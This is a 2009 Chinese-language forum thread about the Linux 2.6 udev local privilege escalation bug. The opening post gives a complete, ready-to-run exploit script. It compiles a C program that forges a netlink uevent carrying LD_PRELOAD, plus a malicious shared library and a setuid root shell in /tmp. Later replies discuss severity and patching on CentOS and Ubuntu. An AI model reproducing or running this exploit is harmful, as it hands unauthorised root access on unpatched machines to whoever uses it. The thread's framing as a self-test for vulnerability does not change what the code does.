FreeOZ论坛

标题: Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit [打印本页]

作者: coredump    时间: 30-4-2009 18:14
标题: Linux Kernel 2.6 UDEV Local Privilege Escalation Exploit
如果下面代码能从普通帐号运行到root提示符,恭喜你,你的系统需要立马升级
  1. #!/bin/sh
  2. # Linux 2.6
  3. # bug found by Sebastian Krahmer
  4. #
  5. # lame sploit using LD technique
  6. # by kcope in 2009
  7. # tested on debian-etch,ubuntu,gentoo
  8. # do a 'cat /proc/net/netlink'
  9. # and set the first arg to this
  10. # script to the pid of the netlink socket
  11. # (the pid is udevd_pid - 1 most of the time)
  12. # + sploit has to be UNIX formatted text :)
  13. # + if it doesn't work the 1st time try more often
  14. #
  15. # WARNING: maybe needs some FIXUP to work flawlessly
  16. ## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang

  17. cat > udev.c << _EOF
  18. #include <fcntl.h>
  19. #include <stdio.h>
  20. #include <string.h>
  21. #include <stdlib.h>
  22. #include <unistd.h>
  23. #include <dirent.h>
  24. #include <sys/stat.h>
  25. #include <sysexits.h>
  26. #include <wait.h>
  27. #include <signal.h>
  28. #include <sys/socket.h>
  29. #include <linux/types.h>
  30. #include <linux/netlink.h>

  31. #ifndef NETLINK_KOBJECT_UEVENT
  32. #define NETLINK_KOBJECT_UEVENT 15
  33. #endif

  34. #define SHORT_STRING 64
  35. #define MEDIUM_STRING 128
  36. #define BIG_STRING 256
  37. #define LONG_STRING 1024
  38. #define EXTRALONG_STRING 4096
  39. #define TRUE 1
  40. #define FALSE 0

  41. int socket_fd;
  42. struct sockaddr_nl address;
  43. struct msghdr msg;
  44. struct iovec iovector;
  45. int sz = 64*1024;

  46. main(int argc, char **argv) {
  47.         char sysfspath[SHORT_STRING];
  48.         char subsystem[SHORT_STRING];
  49.         char event[SHORT_STRING];
  50.         char major[SHORT_STRING];
  51.         char minor[SHORT_STRING];

  52.         sprintf(event, "add");
  53.         sprintf(subsystem, "block");
  54.         sprintf(sysfspath, "/dev/foo");
  55.         sprintf(major, "8");
  56.         sprintf(minor, "1");

  57.         memset(&address, 0, sizeof(address));
  58.         address.nl_family = AF_NETLINK;
  59.         address.nl_pid = atoi(argv[1]);
  60.         address.nl_groups = 0;

  61.         msg.msg_name = (void*)&address;
  62.         msg.msg_namelen = sizeof(address);
  63.         msg.msg_iov = &iovector;
  64.         msg.msg_iovlen = 1;

  65.         socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
  66.         bind(socket_fd, (struct sockaddr *) &address, sizeof(address));

  67.         char message[LONG_STRING];
  68.         char *mp;

  69.         mp = message;
  70.         mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
  71.         mp += sprintf(mp, "ACTION=%s", event) +1;
  72.         mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
  73.         mp += sprintf(mp, "MAJOR=%s", major) +1;
  74.         mp += sprintf(mp, "MINOR=%s", minor) +1;
  75.         mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
  76.         mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;

  77.         iovector.iov_base = (void*)message;
  78.         iovector.iov_len = (int)(mp-message);

  79.         char *buf;
  80.         int buflen;
  81.         buf = (char *) &msg;
  82.         buflen = (int)(mp-message);

  83.         sendmsg(socket_fd, &msg, 0);

  84.         close(socket_fd);

  85.         sleep(10);
  86.         execl("/tmp/suid", "suid", (void*)0);
  87. }

  88. _EOF
  89. gcc udev.c -o /tmp/udev
  90. cat > program.c << _EOF
  91. #include <unistd.h>
  92. #include <stdio.h>
  93. #include <sys/types.h>
  94. #include <stdlib.h>

  95. void _init()
  96. {
  97. setgid(0);
  98. setuid(0);
  99. unsetenv("LD_PRELOAD");
  100. execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
  101. }

  102. _EOF
  103. gcc -o program.o -c program.c -fPIC
  104. gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
  105. cat > suid.c << _EOF
  106. int main(void) {
  107.        setgid(0); setuid(0);
  108.        execl("/bin/sh","sh",0); }
  109. _EOF
  110. gcc -o /tmp/suid suid.c
  111. cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
  112. /tmp/udev $1
复制代码

作者: ubuntuhk    时间: 30-4-2009 18:17
标题: 回复 #1 coredump 的帖子
这个漏洞好像比较严重。
作者: coredump    时间: 30-4-2009 18:23
标题: 回复 #2 ubuntuhk 的帖子
是非常严重,有的说法是有史以来最严重的

最近还出了个Linux SCTP实现的漏洞,同样很严重,不过SCTP的使用不是很流行,所以危害没这个大
作者: yuba    时间: 30-4-2009 19:37
需要升级到Linux 2.6.几啊?
作者: coredump    时间: 30-4-2009 22:26
用ubuntu,debian的话就升级到最新吧,我也不知道官方的kernel到底是那个版本修复了这个漏洞。
作者: ubuntuhk    时间: 5-5-2009 02:15
试了一下centos 5.3,有次漏洞,需要升级

执行yum update,升级了所有软件包之后(包含udev),漏洞被填补了,幸好不需要重启
作者: Tux    时间: 14-5-2009 22:19
4月份Ubuntu出过一个udev的patch,Jaunty应该已经没问题了。




欢迎光临 FreeOZ论坛 (https://www.freeoz.org/bbs/) Powered by Discuz! X3.2